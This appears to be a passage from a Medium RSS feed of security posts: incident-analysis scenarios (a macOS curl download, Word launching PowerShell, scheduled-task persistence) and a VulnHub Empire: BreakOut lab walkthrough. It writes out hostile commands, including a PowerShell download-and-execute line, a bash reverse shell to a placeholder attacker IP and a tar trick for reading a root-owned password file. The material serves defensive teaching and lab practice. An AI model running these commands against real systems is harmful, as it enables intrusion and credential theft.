hxxp://redacted.cloudfront[.]net/sd/?c=22lybQ==&amp;u=67D936BA-DC18-5557-AF59-A61155059BC5&amp;s=EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63&amp;o=10.15.7&amp;b=11821208528&amp;gs=1</pre><ul><li><strong>Network Connection Count:</strong> 2</li><li><strong>File Modifications:</strong> 3</li></ul><p>A chain of processes involving curl downloads files from a CloudFront URL, storing them in the /tmp directory. This activity suggests malware targeting macOS systems.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Grandparent Process Activity:<br>- </strong>The process /private/tmp/b6yNLWzjO executed an application from a mounted volume (/Volumes/Installer).<br>- Temporary directories like /tmp are often used for staging malicious binaries or scripts due to their ephemeral nature.</li><li><strong>Parent Process Execution:<br>- </strong>The parent process (/bin/sh) used a curl command to download a file from a remote server (hxxp://redacted.cloudfront[.]net) and saved it in another temporary directory (/tmp/EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63).<br>- The &gt; /dev/null 2&gt;&amp;1 syntax suppresses output and errors, a common technique to evade detection.</li></ul><blockquote><strong>The command </strong><strong><em>&gt; /dev/null 2&gt;&amp;1</em> is used in Unix-like operating systems to redirect both standard output (stdout i.e., </strong><strong><em>1</em>) and standard error (stderr i.e., </strong><strong><em>2</em>) to </strong><strong><em>/dev/null</em>, effectively discarding them. </strong><strong><em>/dev/null</em> is a special file that discards all data written to it and provides no data to anyone who reads from it.</strong></blockquote><ul><li><strong>Child Process (Curl): </strong>The curl utility made two network connections to fetch a file from the cloudfront.net domain.</li><li><strong>File Modifications: </strong>Three files were modified, possibly related to storing the downloaded payload and staging for further execution.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Execution from Temporary Directories: </strong>Temporary directories like /private/tmp are often used to execute or store malicious files due to their transient nature and reduced visibility.</li><li><strong>Remote Resource Download: </strong>The curl command retrieves a file from a cloudfront.net domain. While legitimate services use CloudFront, it is also frequently abused by attackers to host malicious payloads.</li><li><strong>Output Suppression: </strong>Suppressing command output (&gt; /dev/null 2&gt;&amp;1) is indicative of an attempt to hide activity.</li><li><strong>Unusual Process Chain: </strong>The process chain (“/tmp/b6yNLWzjO” → “/bin/sh” → “/usr/bin/curl”) is irregular for normal system operations, pointing to possible malicious intent.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Initial Exploitation: </strong>The attacker may have exploited a vulnerability to drop and execute /private/tmp/b6yNLWzjO.</li><li><strong>Payload Delivery: </strong>The curl command fetched a remote payload from a CloudFront-hosted resource, likely intended for further exploitation or persistence.</li><li><strong>Persistence or Data Exfiltration: </strong>File modifications suggest either staging additional payloads or modifying system files for persistence or data exfiltration.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>File Hashes:<br>- </strong>Grandparent MD5: ab47aa51b678216bc998fe7e5fe7aefd<br>- Parent MD5: 95d23ed8b5448779eee9863d2bc5c1ba<br>- Child MD5: 0846e04c22488b04222817529f235024</li><li><strong>File Paths:<br>- </strong>/private/tmp/b6yNLWzjO<br><strong>- </strong>/tmp/EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63</li><li><strong>Network Activity: </strong>hxxp://redacted.cloudfront[.]net/sd/?c=22lybQ==&amp;u=67D936BA-DC18-5557-AF59-A61155059BC5&amp;s=EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63&amp;o=10.15.7&amp;b=11821208528&amp;gs=1</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Isolate the affected system to prevent further execution of the malicious payload.<br>- Block network access to the CloudFront domain and related IPs.</li><li><strong>Forensic Analysis:<br>- </strong>Retrieve and analyze the file hosted at the CloudFront URL.<br>- Investigate temporary directories for residual artifacts.<br>- Review system logs for unauthorized process executions and file modifications.</li><li><strong>Remediation:<br>- </strong>Remove all files and executables from temporary directories.<br>- Patch any vulnerabilities that may have allowed the initial execution.</li><li><strong>Long-term Protection:<br>- </strong>Monitor process chains for unusual behavior using EDR tools.<br>- Implement restrictions on the use of utilities like curl in production systems.<br>- Educate users and administrators about securing mounted volumes and temporary directories.</li></ul><h3>Conclusion</h3><p><strong><em>Scenarios #3</em></strong> and <strong><em>#4</em></strong> highlight how attackers exploit system vulnerabilities and abuse administrative tools to gain a foothold in their target environments. Detecting these activities requires robust monitoring, especially for high-risk utilities like PowerShell and exposed services like Redis. Stay tuned as we explore scenarios involving authentication and privilege escalation in the next installment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=621206151a4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Malicious Activity: Foundational Scenarios from a CIRT Technical Interview]]></title>
            <link>https://anshumansingh1.medium.com/detecting-malicious-activity-foundational-scenarios-from-a-cirt-technical-interview-e3d4f17b6c0a?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3d4f17b6c0a</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Thu, 23 Jan 2025 04:18:45 GMT</pubDate>
            <atom:updated>2025-01-23T04:18:45.734Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3og0XbU6as2PjNOVf6J59A.jpeg" /></figure><h3>Introduction</h3><p>In today’s rapidly evolving threat landscape, detecting malicious activity is more critical than ever. Attackers are constantly refining their techniques, using legitimate tools and processes to evade detection. In this post, we explore two foundational scenarios that highlight how seemingly benign processes can be manipulated to execute malicious activity. By analyzing these scenarios, you’ll gain insight into identifying and mitigating these threats early in the kill chain.</p><h3>Scenario #1</h3><h4>Scenario Overview</h4><ul><li><strong>Parent Process:</strong> winword.exe</li><li><strong>Child Process:</strong> powershell.exe</li><li><strong>Command-Line Arguments:</strong></li></ul><pre>powershell.exe iex (New-Object Net.WebClient).DownloadString(&quot;http://bit.ly/e0Mw9w&quot;)</pre><ul><li><strong>Network Connection Count:</strong> 1</li></ul><p>A PowerShell process initiated by winword.exe is attempting to download and execute a script from an external source. This behavior is highly suspicious and indicative of a phishing attack leveraging a malicious macro in a Word document.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Process Relationship: </strong>Microsoft Word (winword.exe) initiated PowerShell (powershell.exe) as a child process. This behavior is uncommon in normal operations and immediately raises a red flag.</li><li><strong>PowerShell Command:<br>- </strong>The command line uses PowerShell’s iex (Invoke-Expression) cmdlet to execute a script retrieved from a URL.<br>- The shortened URL (http://bit.ly/e0Mw9w) obscures the final destination, making it harder to identify its purpose without further analysis.</li><li><strong>Network Connection: </strong>A single network connection indicates the script attempted to contact a remote server to fetch additional payloads or execute commands.</li></ul><h4>Step 2: Why is This Suspicious?</h4><p>Several aspects of this telemetry highlight potential malicious activity:</p><ul><li><strong>Unusual Process Chain: </strong>Microsoft Word spawning PowerShell is atypical and suggests exploitation, likely through a malicious macro embedded in a Word document.</li><li><strong>Usage of </strong><strong>iex and Remote Script Execution: </strong>The combination of iex and DownloadString is a hallmark of malicious PowerShell usage, as it allows attackers to execute remote scripts directly in memory, avoiding detection by traditional antivirus tools.</li><li><strong>Obfuscated URL: </strong>URL shortening services like bit.ly are frequently abused to mask malicious URLs, making it difficult for users and automated systems to identify threats.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Phishing Attack: </strong>The user likely received a phishing email containing an attached Word document.</li><li><strong>Macro Activation: </strong>The document might have prompted the user to enable macros, which executed embedded VBA code designed to launch PowerShell and download the script.</li></ul><blockquote><strong>Macros are automated sequences of commands or actions that can be used to perform repetitive tasks efficiently. Malicious macros, or macro viruses, are pieces of code embedded in documents that can execute harmful actions when the document is opened or macros are enabled.</strong></blockquote><ul><li><strong>Trust Exploitation: </strong>Using a recognizable application like Microsoft Word and a legitimate-looking shortened URL, the attacker exploited the user’s trust.</li></ul><h4>Indicators of Compromise (IoCs)</h4><p>To confirm malicious activity, the following should be analyzed:</p><ul><li><strong>Malicious Document: </strong>Examine the Word document for embedded macros or VBA code.</li><li><strong>Network Analysis: </strong>De-obfuscate the shortened URL and analyze its destination.</li><li><strong>System Logs: </strong>Review PowerShell logs for suspicious commands and process execution chains.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Isolate the affected system to prevent further communication with the attacker’s infrastructure.<br>- Identify and monitor other systems exhibiting similar behavior.</li><li><strong>Forensic Investigation:<br>- </strong>Retrieve and analyze the malicious Word document.<br>- Trace the final URL from http://bit.ly/e0Mw9w and review the hosted content.</li><li><strong>Mitigation:<br>- </strong>Block PowerShell execution for non-administrative users via Group Policy.<br>- Use DNS filtering to block access to suspicious URLs and URL shortening services.</li><li><strong>Long-term Protection:<br>- </strong>Disable macros by default in Microsoft Office or allow only digitally signed macros.<br>- Deploy Endpoint Detection and Response (EDR) tools to monitor process chains and detect anomalous behavior.<br>- Educate users about phishing threats and how to identify suspicious emails.</li></ul><h3>Scenario #2</h3><h4>Scenario Overview</h4><ul><li><strong>Parent Process:</strong> c:\windows\system32\tm1jg\tpminit.exe</li><li><strong>Parent MD5:</strong> f0d6fa1110efffd3a773757a2db0c950</li><li><strong>Parent CLI:</strong></li></ul><pre>C:\Windows\system32\Tm1jg\TpmInit.exe</pre><ul><li><strong>Parent File Write:<br>File Path: </strong>c:\users\acme123\appdata\roaming\microsoft\3ztbfrz\version.dll<br><strong>File MD5:</strong> a4b0ad1bb7cfbd3cbc40860197613340</li><li><strong>Child Process:</strong> c:\windows\system32\schtasks.exe</li><li><strong>Child MD5:</strong> 2e9e198247bf0e9bd94b42286798a5ac</li><li><strong>Child CLI:</strong></li></ul><pre>schtasks.exe /Create /F /TN &quot;Jzijbnrsxnvm&quot; /TR C:\Users\acme123\AppData\Roaming\Microsoft\3ztBfrz\UI0Detect.exe /SC minute /MO 60 /RU &quot;acme123&quot;</pre><ul><li><strong>File Modification Count:</strong> 1</li></ul><p>The process tm1jg\tpminit.exe writes a suspicious DLL file and creates a scheduled task to execute UI0Detect.exe every hour. This indicates malware persistence and execution.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Suspicious Parent Process: </strong>The parent process tpminit.exe is located in an uncommon directory (c:\windows\system32\tm1jg\), deviating from the standard Windows executable paths. This irregularity is an immediate red flag.</li><li><strong>File Write Activity: </strong>The process wrote a file named version.dll to an unusual location in the user’s AppData folder (c:\users\acme123\appdata\roaming\microsoft\3ztbfrz\). The MD5 hash of the file (a4b0ad1bb7cfbd3cbc40860197613340) should be checked against threat intelligence databases for known malicious indicators.</li><li><strong>Task Scheduler Abuse: </strong>The schtasks.exe command creates a scheduled task named <strong><em>Jzijbnrsxnvm</em></strong>, which executes another file, UI0Detect.exe, from the same suspicious directory every hour.</li><li><strong>File Modification: </strong>The activity includes a single file modification, likely tied to the malicious payload execution or persistence mechanism.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Uncommon File Paths: </strong>Legitimate system executables like tpminit.exe are rarely found in directories like c:\windows\system32\tm1jg\. Similarly, DLL files in non-standard directories like AppData\Roaming often indicate attempts to hide malicious payloads.</li></ul><blockquote><strong>TpmInit.exe is a Microsoft Windows executable file used to initialize and configure the Trusted Platform Module (TPM) on a computer. TPM is a microchip that provides hardware-based security features, such as cryptographic keys and secure storage, to help protect sensitive data and ensure the integrity of the system.</strong></blockquote><ul><li><strong>Scheduled Task Abuse: </strong>The creation of a scheduled task to repeatedly execute a file (UI0Detect.exe) is a classic persistence mechanism used by attackers to ensure their payload runs consistently.</li><li><strong>Anomalous MD5 Hashes: </strong>Both the parent process and files created have unique MD5 hashes that do not match standard Windows executables, suggesting tampering or custom malware.</li><li><strong>Behavior Consistency with Malware: </strong>Writing files to AppData\Roaming and using the schtasks.exe utility aligns with known techniques for establishing persistence and evading detection.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Initial Infection Vector: </strong>The executable (tpminit.exe) might have been delivered via phishing, drive-by download, or other means. Its unusual directory suggests it may have been dropped by an external payload.</li><li><strong>Persistence Mechanism: </strong>After execution, tpminit.exe writes a malicious DLL (version.dll) and sets up a scheduled task to repeatedly execute another payload (UI0Detect.exe).</li><li><strong>Stealth Tactics: </strong>By using non-standard directories and leveraging legitimate Windows utilities like schtasks.exe, the attacker aims to evade detection by both users and traditional security tools.</li></ul><h4>Indicators of Compromise (IoCs)</h4><p>To confirm and investigate the potential compromise, focus on:</p><ul><li><strong>File Hashes:<br>- </strong>Parent Process MD5: f0d6fa1110efffd3a773757a2db0c950<br>- Written File MD5: a4b0ad1bb7cfbd3cbc40860197613340<br>- Scheduled Task Payload MD5: Check the hash of UI0Detect.exe.</li><li><strong>File Paths: </strong>Analyze files and activity within c:\windows\system32\tm1jg\ and c:\users\acme123\appdata\roaming\microsoft\3ztbfrz\.</li><li><strong>Scheduled Tasks: </strong>Identify and review the <strong><em>Jzijbnrsxnvm</em></strong> task created by schtasks.exe.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Isolate the affected system to prevent further execution of malicious payloads.<br>- Disable and delete the scheduled task (<strong><em>Jzijbnrsxnvm</em></strong>).</li><li><strong>Forensic Analysis:<br>- </strong>Analyze the file UI0Detect.exe for malicious behavior.<br>- Cross-reference all MD5 hashes with known malware databases.</li><li><strong>System Remediation:<br>- </strong>Remove all malicious files and executables from the identified directories.<br>- Restore or reinstall compromised Windows executables.</li><li><strong>Long-term Mitigation:<br>- </strong>Implement Application Control policies to restrict the execution of untrusted binaries.<br>- Monitor scheduled task creation using tools like Sysmon or EDR solutions.<br>- Educate users on identifying phishing emails and other potential infection vectors.</li></ul><h3>Conclusion</h3><p><strong><em>Scenarios #1 </em></strong>and<strong><em> #2</em></strong> illustrate how attackers can abuse trusted applications like Microsoft Word and Windows Task Scheduler to establish persistence and execute remote code. These examples underscore the importance of monitoring process chains and implementing robust endpoint detection mechanisms. As we move forward in this series, we’ll dive into more advanced tactics and techniques used by adversaries.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3d4f17b6c0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub Walkthroughs]]></title>
            <link>https://anshumansingh1.medium.com/vulnhub-walkthroughs-3104d30f86f2?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/3104d30f86f2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[parrot]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 03:12:36 GMT</pubDate>
            <atom:updated>2025-01-20T03:12:36.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>VulnHub Walkthroughs: Unlocking Empire: BreakOut</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/0*DChLJ8pFVEgwZ5VY.png" /></figure><h3>Introduction</h3><p>The <strong>Empire: BreakOut</strong> virtual machine on VulnHub offers an excellent challenge for penetration testers to practice enumeration, exploitation, and privilege escalation skills. This machine is rated “Easy,” making it a great starting point for beginners exploring the fundamentals of penetration testing.</p><p>In this guide, we’ll provide a <strong>detailed walkthrough</strong> of the entire process, from setup to root access. We’ll explain each step, the rationale behind it, and how the results contribute to solving the challenge.</p><h3>1. Setting Up the Environment</h3><ul><li>Download the Empire: BreakOut zip file from the VulnHub URL <a href="https://www.vulnhub.com/entry/empire-breakout,751/"><strong><em>https://www.vulnhub.com/entry/empire-breakout,751/</em></strong></a> and extract its contents.</li><li>Launch <strong>VirtualBox</strong> and create a new virtual machine. Configure the VM with a suitable name, type, and version. Allocate memory and attach the .vmdk file from the extracted directory.</li><li>Ensure the <strong>Network Adapter</strong> is set to a <strong>Host-only Adapter</strong> to connect the VM and your attacker machine on the same network.</li><li>Start both the vulnerable VM and your attack machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Cf5QUaKiVEaed2k6505Tqg.png" /><figcaption>Empire: BreakOut VM</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KWvtqZGgbBhZPdsnJTPdTQ.png" /><figcaption>Parrot HTB Attack VM</figcaption></figure><h3>2. Enumeration</h3><h4>2.1 Discovering the Target IP Address</h4><p>Before attacking a system, identifying its IP address is crucial. Using the <strong><em>netdiscover</em></strong> tool, we can find the IP of the target VM.</p><pre>sudo netdiscover -i enp0s3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al-osqb002hniK-bqq3_5Q.png" /></figure><p>The target IP address is <strong>192.168.1.171</strong>.</p><h4>2.2 Conducting Network Scans with Nmap</h4><p>Next, to identify open ports, services, and operating system details, we use <strong><em>Nmap</em></strong>.</p><pre>sudo nmap -p- -A -T 4 192.168.1.171</pre><ul><li><strong>-p-</strong>: Scans all 65,535 TCP ports.</li><li><strong>-A</strong>: Enables OS detection, version detection, script scanning, and traceroute.</li><li><strong>-T 4</strong>: Specifies the timing template for faster scans.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*l42JPQPJPvI5YV5Np2z_1Q.png" /></figure><p>Nmap spotted 5 open ports:</p><ul><li><strong>Port 80:</strong> HTTP (Apache 2.4.51)</li><li><strong>Ports 139, 445:</strong> NetBIOS-SSN (Samba)</li><li><strong>Ports 10000, 20000:</strong> HTTP (MiniServ Webmin)</li></ul><h4>2.3 Web Enumeration</h4><p>Examining the web services helps uncover additional attack surfaces, such as login portals or misconfigurations.</p><p>Navigate to http://192.168.1.171 to inspect the web content on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfcC01yDP-fSTPBs7tXgWQ.png" /></figure><p>Investigate ports 10000 and 20000, which reveal Webmin and Usermin login portals, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eP0WSiVZhhuXyxxL_F7BKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29jm5DGc9aTlUfLySOxkQw.png" /></figure><h3>3. Foothold</h3><h4>3.1 Enumerating SMB Shares with Enum4Linux</h4><p>SMB shares often contain sensitive information, such as user credentials or configuration files. <strong><em>Enum4Linux</em></strong> is a tool designed to extract information about SMB services, such as shared directories, user accounts, and password policies. This can provide valuable insights into misconfigurations or weaknesses in the SMB setup.</p><pre>┌─[fat-batman@parrot]─[~/Desktop]<br>└──╼ $enum4linux -a 192.168.1.171<br>Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jan 19 13:05:23 2025<br><br> =========================================( Target Information )=========================================<br><br>Target ........... 192.168.1.171<br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none<br><br> ===========================( Enumerating Workgroup/Domain on 192.168.1.171 )===========================<br><br>[+] Got domain/workgroup name: WORKGROUP<br><br> ===============================( Nbtstat Information for 192.168.1.171 )===============================<br><br>Looking up status of 192.168.1.171<br> BREAKOUT        &lt;00&gt; -         B &lt;ACTIVE&gt;  Workstation Service<br> BREAKOUT        &lt;03&gt; -         B &lt;ACTIVE&gt;  Messenger Service<br> BREAKOUT        &lt;20&gt; -         B &lt;ACTIVE&gt;  File Server Service<br> ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Master Browser<br> WORKGROUP       &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Domain/Workgroup Name<br> WORKGROUP       &lt;1d&gt; -         B &lt;ACTIVE&gt;  Master Browser<br> WORKGROUP       &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Browser Service Elections<br><br> MAC Address = 00-00-00-00-00-00<br><br> ===================================( Session Check on 192.168.1.171 )===================================<br><br>[+] Server 192.168.1.171 allows sessions using username &#39;&#39;, password &#39;&#39;<br><br> ================================( Getting domain SID for 192.168.1.171 )================================<br><br>Domain Name: WORKGROUP<br>Domain Sid: (NULL SID)<br><br>[+] Can&#39;t determine if host is part of domain or part of a workgroup<br><br> ==================================( OS information on 192.168.1.171 )==================================<br><br>[E] Can&#39;t get OS info with smbclient<br><br>[+] Got OS info for 192.168.1.171 from srvinfo: <br> BREAKOUT       Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian<br> platform_id     : 500<br> os version      : 6.1<br> server type     : 0x809a03<br><br> =======================================( Users on 192.168.1.171 )=======================================<br><br>Use of uninitialized value $users in print at ./enum4linux.pl line 972.<br>Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.<br><br>Use of uninitialized value $users in print at ./enum4linux.pl line 986.<br>Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.<br><br> =================================( Share Enumeration on 192.168.1.171 )=================================<br><br>smbXcli_negprot_smb1_done: No compatible protocol selected by server.<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br> print$          Disk      Printer Drivers<br> IPC$            IPC       IPC Service (Samba 4.13.5-Debian)<br>Reconnecting with SMB1 for workgroup listing.<br>Protocol negotiation to server 192.168.1.171 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE<br>Unable to connect with SMB1 -- no workgroup available<br><br>[+] Attempting to map shares on 192.168.1.171<br><br>//192.168.1.171/print$ Mapping: DENIED Listing: N/A Writing: N/A<br><br>[E] Can&#39;t understand response:<br><br>NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*<br>//192.168.1.171/IPC$ Mapping: N/A Listing: N/A Writing: N/A<br><br> ===========================( Password Policy Information for 192.168.1.171 )===========================<br><br>[+] Attaching to 192.168.1.171 using a NULL share<br><br>[+] Trying protocol 139/SMB...<br><br>[+] Found domain(s):<br><br> [+] BREAKOUT<br> [+] Builtin<br><br>[+] Password Info for Domain: BREAKOUT<br><br> [+] Minimum password length: 5<br> [+] Password history length: None<br> [+] Maximum password age: 37 days 6 hours 21 minutes <br> [+] Password Complexity Flags: 000000<br><br>  [+] Domain Refuse Password Change: 0<br>  [+] Domain Password Store Cleartext: 0<br>  [+] Domain Password Lockout Admins: 0<br>  [+] Domain Password No Clear Change: 0<br>  [+] Domain Password No Anon Change: 0<br>  [+] Domain Password Complex: 0<br><br> [+] Minimum password age: None<br> [+] Reset Account Lockout Counter: 30 minutes <br> [+] Locked Account Duration: 30 minutes <br> [+] Account Lockout Threshold: None<br> [+] Forced Log off Time: 37 days 6 hours 21 minutes <br><br>[+] Retieved partial password policy with rpcclient:<br><br>Password Complexity: Disabled<br>Minimum Password Length: 5<br><br> ======================================( Groups on 192.168.1.171 )======================================<br><br>[+] Getting builtin groups:<br><br>[+]  Getting builtin group memberships:<br><br>[+]  Getting local groups:<br><br>[+]  Getting local group memberships:<br><br>[+]  Getting domain groups:<br><br>[+]  Getting domain group memberships:<br><br> ==================( Users on 192.168.1.171 via RID cycling (RIDS: 500-550,1000-1050) )==================<br><br>[I] Found new SID: <br>S-1-22-1<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[+] Enumerating users using SID S-1-5-32 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-5-32-544 BUILTIN\Administrators (Local Group)<br>S-1-5-32-545 BUILTIN\Users (Local Group)<br>S-1-5-32-546 BUILTIN\Guests (Local Group)<br>S-1-5-32-547 BUILTIN\Power Users (Local Group)<br>S-1-5-32-548 BUILTIN\Account Operators (Local Group)<br>S-1-5-32-549 BUILTIN\Server Operators (Local Group)<br>S-1-5-32-550 BUILTIN\Print Operators (Local Group)<br><br>[+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User)<br>S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group)<br><br>[+] Enumerating users using SID S-1-22-1 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-22-1-1000 Unix User\cyber (Local User)<br><br> ===============================( Getting printer info for 192.168.1.171 )===============================<br><br>No printers returned.<br><br>enum4linux complete on Sun Jan 19 13:05:39 2025<br><br>┌─[fat-batman@parrot]─[~/Desktop]<br>└──╼ $</pre><p>The enumeration revealed a local user cyber, which could be leveraged for further access. However, we still need valid credentials.</p><h4>3.2 Decrypting Brainfuck Cipher Text</h4><p>The source code of the Apache default page contains an encrypted message, which could hold valuable information. Scroll to the very bottom of the page to get the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKrLVvRRKbzagD0pAsTFUQ.png" /></figure><p>Use an online Brainfuck decoder to decrypt the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WzxeAAuf-dcoDrM1dLqCqQ.png" /></figure><p>Retrieve the password for the user cyber.</p><h4>3.3 Gaining Access Through Usermin</h4><p>Using the credentials found, log in to the Usermin portal (port 20000) to gain access to the target machine.</p><ul><li>Navigate to <a href="http://192.168.56.115:20000.">http://192.168.56.115:20000.</a></li><li>Enter the username (cyber) and password obtained from the cipher text.</li><li>Access the Command Shell from the Usermin dashboard.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iU71V33FQ-jFBCtAGaAcBQ.png" /></figure><h4>3.4 Execute reverse shell</h4><p>A reverse shell enables persistent and interactive access to the target machine. By crafting and executing a payload from the command shell, we can establish a reverse connection to our attacking machine.</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;attacker_IP&gt;/4242 0&gt;&amp;1</pre><ul><li>Start a Netcat listener on your attacker machine:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jemQ7_JP8DeqKquq-0FlDg.png" /></figure><h3>4. Privilege Escalation</h3><h4>4.1 Checking Sudo Privileges</h4><p>The sudo -l command is commonly used to list the allowed and forbidden commands for the invoking user. However, in this case, the command failed due to the absence of the sudo utility on the target machine.</p><p>Since sudo is unavailable, our focus shifts to local privilege escalation methods.</p><h4>4.2 Exploring the User Environment</h4><p>Examining the current user’s files and directories often reveals clues or misconfigurations that can be exploited.</p><p>The tar utility is owned by root and has executable permissions. This will be pivotal for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfQuvzPHBQ02epqbRrJLVg.png" /></figure><h4>4.3 Inspecting the /var/backups Directory</h4><p>The /var/backups directory often contains sensitive information, such as configuration files or passwords. By listing its contents, we identified a file with restricted access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8F5yvin-okV97cTMc0yf7Q.png" /></figure><p>The .old_pass.bak file is owned by root and inaccessible to the cyber user, but its content is likely critical.</p><h4>4.4 Leveraging the tar Utility</h4><p>The tar utility, owned by root, provides a way to access the restricted .old_pass.bak file by creating an archive that includes it.</p><p>Create an archive of the .old_pass.bak file and verify:</p><pre>./tar -cf backup.tar /var/backups/.old_pass.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7yLrKjT3iLj_Ta46RZCiA.png" /></figure><h4>4.5 Accessing the Extracted File</h4><p>Extracting the archive gives us access to the .old_pass.bak file, which likely contains the password for the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPobOzmJPynyxYegkOu0cg.png" /></figure><p>The extracted password will now be used to switch to the root account.</p><h4>4.6 Gaining Root Access</h4><p>Using the password retrieved from .old_pass.bak, we switch to the root user to complete the privilege escalation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWjuQdK28pbyzVzT9I1agg.png" /></figure><p>Retrieve the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTZwf8gJQly9nH6WRtHsHg.png" /></figure><p>Finally, after obtaining both flags, we can access the Empire: BreakOut VM with both user root and cyber</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*w1Rul1IzVpPLAetdWHV9Ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*BhMVBvDgSWWoFT5M68uLtw.png" /></figure><h3>Conclusion</h3><p>The <strong>Empire: BreakOut</strong> VM challenged us to explore various tools and techniques, from enumeration to privilege escalation. Each step reinforced the importance of careful observation and methodical execution in penetration testing. By following this guide, you’ll gain hands-on experience in real-world attack scenarios.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3104d30f86f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub Walkthroughs]]></title>
            <link>https://anshumansingh1.medium.com/vulnhub-walkthroughs-1c79d5fc47e2?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c79d5fc47e2</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Sun, 19 Jan 2025 05:54:54 GMT</pubDate>
            <atom:updated>2025-01-19T21:29:22.595Z</atom:updated>
